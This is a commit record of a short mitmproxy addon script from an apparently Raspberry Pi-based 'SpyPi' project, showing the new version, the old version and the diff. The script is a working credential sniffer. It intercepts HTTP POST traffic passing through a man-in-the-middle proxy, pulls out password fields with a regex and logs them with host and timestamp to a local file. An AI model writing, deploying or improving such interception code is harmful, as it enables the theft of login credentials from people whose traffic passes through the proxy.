# Sarah M. - 2017

import re
import sys
import datetime
from colors import farben


def request(flow):
    now = datetime.datetime.now()
    content = flow.request.get_text()
    host = flow.request.pretty_host
    method = flow.request.method
    if method == "POST" and ("pass" in content) or ("password" in content):
        with open("/home/pi/SpyPi/Code/proxy.txt", "a") as myfile:
            myfile.write(farben.AUF + str(now) + " // " + farben.END)
            myfile.write(farben.LD + host + farben.END)
            myfile.write("\n")
            passwords = re.findall(r"(?:pass|password)=([^&]*)", content)
            myfile.write(farben.IN + passwords[0] + farben.END)
            myfile.write("\n")
            myfile.write("\n")

# Sarah M. - 2017

import sys
import datetime
from colors import farben

def request(flow):
    now = datetime.datetime.now()
    content = flow.request.get_text()
    host = flow.request.pretty_host
    method = flow.request.method
    if method == "POST" and ("pass" in content) or ("password" in content) :
        with open ("/home/pi/SpyPi/Code/proxy.txt", "a") as myfile:
            myfile.write(farben.AUF + str(now) +" // " + farben.END)
            myfile.write(farben.LD + host + farben.END)
            myfile.write("\n")
            myfile.write(farben.IN + content + farben.END)
            myfile.write("\n")
            myfile.write("\n")

--- 
+++ 
@@ -1,19 +1,22 @@
 # Sarah M. - 2017
 
+import re
 import sys
 import datetime
 from colors import farben
+
 
 def request(flow):
     now = datetime.datetime.now()
     content = flow.request.get_text()
     host = flow.request.pretty_host
     method = flow.request.method
-    if method == "POST" and ("pass" in content) or ("password" in content) :
-        with open ("/home/pi/SpyPi/Code/proxy.txt", "a") as myfile:
-            myfile.write(farben.AUF + str(now) +" // " + farben.END)
+    if method == "POST" and ("pass" in content) or ("password" in content):
+        with open("/home/pi/SpyPi/Code/proxy.txt", "a") as myfile:
+            myfile.write(farben.AUF + str(now) + " // " + farben.END)
             myfile.write(farben.LD + host + farben.END)
             myfile.write("\n")
-            myfile.write(farben.IN + content + farben.END)
+            passwords = re.findall(r"(?:pass|password)=([^&]*)", content)
+            myfile.write(farben.IN + passwords[0] + farben.END)
             myfile.write("\n")
             myfile.write("\n")
Add regex for parsing password url parameter
